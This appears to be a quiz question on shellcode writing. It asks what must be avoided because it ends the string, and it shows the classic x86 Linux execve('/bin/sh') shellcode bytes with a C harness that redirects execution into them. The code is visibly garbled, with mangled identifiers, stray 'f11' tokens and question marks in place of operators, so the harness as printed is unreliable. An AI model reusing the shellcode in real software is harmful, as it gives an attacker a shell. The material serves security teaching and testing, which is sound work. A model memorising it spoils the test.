When writing shellcodes, you must avoid ____________ because these will end the string.

charhellcode[]
f11 “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
f11 “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
f11 “\x80\xe8\xdc\xff\xff\xff/bin/sh”;
voidain()?
{ int?ret;
f11 ?
ret??int?)&ret??;
f11 ?
(*ret)??int)shellcode;
}